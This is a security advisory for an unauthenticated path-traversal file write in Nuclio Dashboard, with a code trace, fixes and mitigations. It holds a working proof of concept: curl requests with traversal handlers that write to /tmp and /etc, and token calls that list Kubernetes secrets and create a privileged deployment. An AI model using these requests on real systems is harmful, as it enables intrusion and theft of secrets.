| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/nuclio/nuclio | < 1.16.5mọi phiên bản | 1.16.5 |
Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only — no path validation is applied to the module portion.
During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).
The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N — 7.5 (High)The vulnerability spans three functions. The path from user input to disk write is:
1. ParseHandler — no path validation (pkg/functionconfig/handler.go:25-38):
// pkg/functionconfig/handler.go:25-38
func ParseHandler(handler string) (string, string, error) {
moduleAndEntrypoint := strings.Split(handler, ":")
switch len(moduleAndEntrypoint) {
case 1:
return "", moduleAndEntrypoint[0], nil
case 2:
// Returns moduleFileName verbatim — no path sanitization
return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
default:
return "", "", errors.Errorf("Invalid handler name %s", handler)
}
}
Input "../../../../tmp/vul007_proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007_proof.txt".
2. writeFunctionSourceCodeToTempFile — unsafe path construction (pkg/processor/build/builder.go:613-661):
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí// builder.go:624-657 (abridged)
tempDir, err := b.mkDirUnderTemp("source")
// tempDir = /tmp/nuclio-build-<random>/source
runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)
moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007_proof.txt" — attacker-controlled
if !strings.Contains(moduleFileName, ".") {
moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is
sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
// = "/tmp/vul007_proof.txt" <-- escaped tempDir
b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
// Writes attacker-controlled bytes to attacker-controlled path
3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):
// builder.go:1053
err := os.RemoveAll(b.tempDir)
// Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persists
tempDir = /tmp/nuclio-build-227825660/source (depth from /: 3 components)
handler = "../../../../tmp/vul007_proof.txt:handler"
module = "../../../../tmp/vul007_proof.txt"
path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")
Traversal:
/tmp/nuclio-build-227825660/source (start)
../ -> /tmp/nuclio-build-227825660
../ -> /tmp
../ -> / (filesystem root)
../ -> / (cannot go above root)
tmp/vul007_proof.txt -> /tmp/vul007_proof.txt
The same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.
Unauthenticated HTTP client
-> POST /api/functions (no auth, NOP mode)
dashboard/resource/function.go:156 storeAndDeployFunction()
-> platform.CreateFunction()
platform/kube/platform.go:193
-> abstract/platform.go:191 HandleDeployFunction()
-> abstract/platform.go:119 CreateFunctionBuild()
-> builder.Build()
processor/build/builder.go:195
-> builder.resolveFunctionPath()
builder.go:664
-> builder.writeFunctionSourceCodeToTempFile() <-- file write here
builder.go:613
-> os.WriteFile(attacker_path, attacker_content, 0644)
builder.go:657
The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.
Step 1: Create isolated kind cluster with Docker socket mounted
The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:
cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
extraMounts:
- hostPath: /var/run/docker.sock
containerPath: /var/run/docker.sock
EOF
kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml
Expected output:
Creating cluster "vul-007" ...
✓ Ensuring node image (kindest/node:v1.27.3)
✓ Preparing nodes
✓ Writing configuration
✓ Starting control-plane
✓ Installing CNI
✓ Installing StorageClass
Set kubectl context to "kind-vul-007"
Verify Docker socket is available inside the cluster node:
docker exec vul-007-control-plane ls -la /var/run/docker.sock
# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock
Step 2: Deploy Nuclio via Helm
# Create namespace
kubectl --context kind-vul-007 create namespace nuclio
# Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007
# Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio \
--namespace nuclio \
--kube-context kind-vul-007 \
--set controller.image.pullPolicy=Never \
--set dashboard.image.pullPolicy=Never \
--set registry.pushPullUrl="localhost:5000" \
--set dashboard.containerBuilderKind=docker
Step 3: Wait for Dashboard to be ready
kubectl --context kind-vul-007 wait -n nuclio \
--for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s
# Expected:
# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met
Step 4: Expose Dashboard locally
kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3
# Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
# HTTP 200
Step 5: Create default project (required by Dashboard API)
curl -s -X POST http://localhost:8073/api/projects \
-H "Content-Type: application/json" \
-d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'
Step 6: Send path traversal request
The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.
curl -v -X POST http://localhost:8073/api/functions \
-H "Content-Type: application/json" \
-H "x-nuclio-project-name: default" \
-d '{
"metadata": {"name": "vul007-poc", "namespace": "nuclio"},
"spec": {
"runtime": "python:3.11",
"handler": "../../../../tmp/vul007_proof.txt:handler",
"build": {
"functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
},
"minReplicas": 0,
"maxReplicas": 1
}
}'
functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007
Expected response:
HTTP/1.1 202 Accepted
Step 7: Observe Dashboard build logs
kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \
| grep -E "temporary dir|Writing function source"
Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):
26.05.17 14:55:02.225 (D) dashboard.server.api/functions Created temporary dir
{"dir": "/tmp/nuclio-build-227825660/source"}
26.05.17 14:55:02.225 (D) dashboard.server.api/functions Writing function source code to temporary file
{"functionPath": "/tmp/vul007_proof.txt"}
The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is
outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.
Step 8: Verify file written to traversal path
kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- cat /tmp/vul007_proof.txt
Output:
PROVED-PATH-TRAVERSAL-VUL007
kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- ls -la /tmp/vul007_proof.txt
Output:
-rw-r--r-- 1 root root 28 May 17 14:55 /tmp/vul007_proof.txt
Step 9: Write to /etc/ — broader impact demonstration
curl -s -X POST http://localhost:8073/api/functions \
-H "Content-Type: application/json" \
-H "x-nuclio-project-name: default" \
-d '{
"metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
"spec": {
"runtime": "python:3.11",
"handler": "../../../../etc/vul007-marker.txt:handler",
"build": {
"functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
}
}
}'
Log evidence:
26.05.17 14:55:50.666 (D) dashboard.server.api/functions Writing function source code to temporary file
{"functionPath": "/etc/vul007-marker.txt"}
kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- cat /etc/vul007-marker.txt
# VUL007-PERSISTENT-MARKER-root
kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
kind delete cluster --name vul-007
An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.
Demonstrated write targets:
/tmp/ — confirmed (primary PoC)/etc/ — confirmed (secondary PoC)Potential high-impact write targets:
/etc/cron.d/ — write a cron job entry; if a cron daemon runs in the container, this
achieves scheduled arbitrary command execution inside the container/usr/local/bin/<name> — overwrite a binary called by dashboard processesThe Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:
Resources Verbs
secrets [*]
deployments.apps [*]
pods [*]
configmaps [*]
services [*]
cronjobs.batch [*]
Verification: Using the SA token directly against the Kubernetes API:
# List secrets — HTTP 200
curl -k -H "Authorization: Bearer $SA_TOKEN" \
"$K8S_API/api/v1/namespaces/nuclio/secrets"
# => returns helm release secret, nuclio SA secret
# Create privileged Deployment — HTTP 201
curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \
-H "Content-Type: application/json" \
"$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \
-d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
# HTTP_CODE:201
An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.
The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.
CVSS 3.1 Score: 7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Dashboard API reachable over network |
| Attack Complexity | Low | Single HTTP request, no race condition |
| Privileges Required | None | Default NOP auth mode requires no credentials |
| User Interaction | None | Fully automated |
| Scope | Unchanged | Write confined to Dashboard container |
| Confidentiality | None | No data read in primary attack path |
| Integrity | High | Arbitrary file write as root in container |
| Availability | None | No service disruption caused by write |
quay.io/nuclio/dashboard:1.15.27-amd64 on 2026-05-17The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go)
has been present since the functionSourceCode inline code feature was introduced.
Option 1: Enable authentication on the Dashboard
Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.
# In Dashboard deployment env
- name: NUCLIO_AUTH_KIND
value: "iguazio"
Option 2: Network-level access control
Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.
Option 3: Drop root privileges in the Dashboard container
Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.
Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:
// pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile
sourceFilePath := path.Join(tempDir, moduleFileName)
// Verify resolved path is within tempDir
absPath, err := filepath.Abs(sourceFilePath)
if err != nil {
return "", errors.Wrap(err, "Failed to resolve absolute path")
}
absTempDir, err := filepath.Abs(tempDir)
if err != nil {
return "", errors.Wrap(err, "Failed to resolve absolute tempDir")
}
if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {
return "", errors.Errorf(
"handler module path escapes build directory: %s", moduleFileName)
}
b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)
if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).
pkg/processor/build/builder.go — function writeFunctionSourceCodeToTempFile, line 654pkg/functionconfig/handler.go — function ParseHandler, line 25path.Join behavior: https://pkg.go.dev/path#Join